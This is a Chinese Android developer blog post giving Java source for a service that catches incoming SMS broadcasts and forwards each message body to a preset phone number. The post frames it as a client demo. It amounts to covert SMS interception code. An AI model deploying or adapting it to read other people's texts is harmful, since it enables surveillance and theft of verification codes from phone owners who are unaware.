这是一个客户需要的demo,工能就是在手机接收到信息后转发到指定手机,这主要是响应系统的短信广播,并进行拦截,并取消向上传递,功能并不复杂,但也是在小米小机上遇到了问题,因为我没有小米手机,如果谁解决了也告诉我一下,还要注意短信拦截的应用,如360之类的。
核心服务代码:
/** * */ package com.yidin.interceptsms.service; import com.yidin.util.AspLog; import com.yidin.util.InterceptPrefences; import com.yidin.util.SmsUtil; import android.app.Service; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.Bundle; import android.os.IBinder; import android.telephony.SmsMessage; import android.widget.Toast; /** * @author 短信拦截服务 */ public class InterceptService extends Service { private BroadcastReceiver mReceiver = null; private String TAG = "InterceptService"; private String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; private Context mContext = null; @Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { super.onCreate(); // android.os.Debug.waitForDebugger(); mContext = getApplicationContext(); mReceiver = new InterceptSmsReceiver(); IntentFilter filter = new IntentFilter(SMS_RECEIVED); // filter.addDataScheme("sms"); Intent it = registerReceiver(mReceiver, filter); } @Override public void onStart(Intent intent, int startId) { super.onStart(intent, startId); AspLog.e(TAG, "Clear onStart!"); } class InterceptSmsReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { android.os.Debug.waitForDebugger(); if (intent.getAction().equals(SMS_RECEIVED)) AspLog.e(TAG, "InterceptSmsReceiver"); Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] _pdus = (Object[]) bundle.get("pdus"); SmsMessage[] message = new SmsMessage[_pdus.length]; for (int i = 0; i < _pdus.length; i++) {//判断短信长度,中文超过70 英文超过140则拆分成多条信息 message[i] = SmsMessage.createFromPdu((byte[]) _pdus[i]); } for (SmsMessage currentMessage : message) { Toast.makeText(mContext, currentMessage.getMessageBody(), Toast.LENGTH_LONG).show(); SmsUtil.sendSMS(currentMessage.getMessageBody(), InterceptPrefences.getAccount(mContext), mContext); } } } } @Override public void onDestroy() { super.onDestroy(); // android.os.Debug.waitForDebugger(); unregisterReceiver(mReceiver); } }
更多的移动互联网的发展趋势、app开发、移动互联网应用相关的资料请到互联网的一点事:www.yidin.net 留言
android QQ群:222392467
资料:
http://www.yidin.net/?p=8280
http://www.yidin.net/?p=9725